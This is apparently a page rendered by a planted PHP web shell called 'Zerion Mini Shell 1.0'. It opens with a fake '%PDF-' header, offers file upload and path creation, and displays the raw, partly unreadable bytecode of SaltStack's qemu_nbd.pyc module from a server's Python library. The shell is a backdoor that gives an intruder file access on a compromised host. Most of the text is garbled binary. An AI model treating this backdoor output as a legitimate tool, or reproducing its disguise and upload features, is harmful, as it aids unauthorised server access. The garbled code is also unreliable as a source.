%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/modules/qemu_nbd.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddlZddl	Z	ddl
ZddlZddl
mZe	je�Zd�Zd�Zdd�Zdd�Zd	�ZdS(
u�
Qemu Command Wrapper

The qemu system comes with powerful tools, such as qemu-img and qemu-nbd which
are used here to build up kvm images.
i(tabsolute_importtprint_functiontunicode_literalsN(tsixcC@s#tjjjd�rdStdfS(u:
    Only load if qemu-img and qemu-nbd are installed
    uqemu-nbduqemu_nbduWThe qemu_nbd execution module cannot be loaded: the qemu-nbd binary is not in the path.(tsalttutilstpathtwhichtFalse(((s9/usr/lib/python2.7/site-packages/salt/modules/qemu_nbd.pyt__virtual__scC@s�tjj|�s&tjd|�dStjjjd�rDd}nd}tdd�x�t	j	d�D]s}td	d
j
||��rhxJtr�tddj
||�dt�td	d
j
||��s�Pq�q�W|SqhWtjd
|�dS(u�
    Activate nbd for an image file.

    CLI Example:

    .. code-block:: bash

        salt '*' qemu_nbd.connect /tmp/image.raw
    u*Could not connect image: %s does not existuusfdisku	sfdisk -dufdisk -lucmd.runumodprobe nbd max_part=63u	/dev/nbd?ucmd.retcodeu{0} {1}uqemu-nbd -c {0} {1}tpython_shelluCould not connect image: %s(
tosRtisfiletlogtwarningRRRt__salt__tglobtformattTrueR(timagetfdisktnbd((s9/usr/lib/python2.7/site-packages/salt/modules/qemu_nbd.pytconnect%s$
		cC@s�tddj|�dt�i}|dkr\tjjtj�dtjj	|��}nx�t
j
dj|��D]f}tjj|tjj	|��}tjd�td||t
�}|t
k	r�qun|||<quW|S(	u�
    Pass in the nbd connection device location, mount all partitions and return
    a dict of mount points

    CLI Example:

    .. code-block:: bash

        salt '*' qemu_nbd.mount /dev/nbd0
    ucmd.runu
partprobe {0}R
unbdu{0}p*iumount.mountN(RRRtNoneRRtjointtempfilet
gettempdirtbasenameRttimetsleepR(Rtroottrettparttm_pttmnt((s9/usr/lib/python2.7/site-packages/salt/modules/qemu_nbd.pytmountGs"		!
cC@s#t|�}|sdSt||�S(u�
    Mount the named image via qemu-nbd and return the mounted roots

    CLI Example:

    .. code-block:: bash

        salt '*' qemu_nbd.init /srv/image.qcow2
    u(RR#(RRR((s9/usr/lib/python2.7/site-packages/salt/modules/qemu_nbd.pytinitgs
cC@s�i}t�}x`tj|�D]O\}}td|�}|tk	rT|||<n|j||jd� �qW|r||Sx+|D]#}tddj|�dt�q�W|S(uX
    Pass in the mnt dict returned from nbd_mount to unmount and disconnect
    the image from nbd. If all of the partitions are unmounted return an
    empty dict, otherwise return a dict containing the still mounted
    partitions

    CLI Example:

    .. code-block:: bash

        salt '*' qemu_nbd.clear '{"/mnt/foo": "/dev/nbd0p1"}'
    umount.umountupucmd.runuqemu-nbd -d {0}R
(	tsetRt	iteritemsRRtaddtrindexRR(R"RtnbdsR!tdevtmnt_retR((s9/usr/lib/python2.7/site-packages/salt/modules/qemu_nbd.pytclearws
	

!(t__doc__t
__future__RRRRRRRtloggingtsalt.utils.pathRt
salt.crypttsalt.extRt	getLoggert__name__R
R	RRR#R$R,(((s9/usr/lib/python2.7/site-packages/salt/modules/qemu_nbd.pyt<module>s			" 

Zerion Mini Shell 1.0